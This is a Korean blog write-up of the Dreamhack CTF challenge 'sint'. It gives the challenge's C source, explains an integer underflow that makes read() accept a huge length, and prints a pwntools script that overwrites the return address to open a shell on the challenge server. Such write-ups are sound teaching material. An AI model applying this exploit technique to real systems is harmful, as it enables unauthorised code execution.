Dreamhack/System Hacking
[Dreamhack] sint
amoogotomollayo
2022. 2. 23. 15:43
1. 문제 정보
2. 문제 파일
더보기
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char buf[256];
int size;
initialize();
signal(SIGSEGV, get_shell);
printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
return 0;
}
문제에서 제공되는 소스 코드입니다.
3. 문제 풀이
더보기

printf("Size: ");
scanf("%d", &size);
if (size > 256 || size < 0)
{
printf("Buffer Overflow!\n");
exit(0);
}
printf("Data: ");
read(0, buf, size - 1);
사용자가 입력한 사이즈가 0보다 작거나 256보다 크면 프로세스가 종료되고 아니라면 read 함수를 통해 buf 배열에 데이터를 입력할 수 있습니다.
이때 read 함수의 3번째 인자의 자료형은 size_t로 부호 없는 정수이기 때문에 만약 size가 0이라면 read 함수에서는 size - 1 = 2^32 - 1이 되어 버퍼 오버 플로우 공격을 할 수 있게 됩니다.
Return Address를 get_shell 주소로 변조시켜 셸을 실행시키면 문제를 해결할 수 있습니다.
코드와 결과는 아래와 같습니다.
from pwn import *
context.log_level = 'debug'
r = remote("host1.dreamhack.games", 15860)
get_shell = 0x08048659
r.sendlineafter("Size: ", "0")
r.send(b"A" * 0x100 + b"B" * 0x4 + p32(get_shell))
r.interactive()
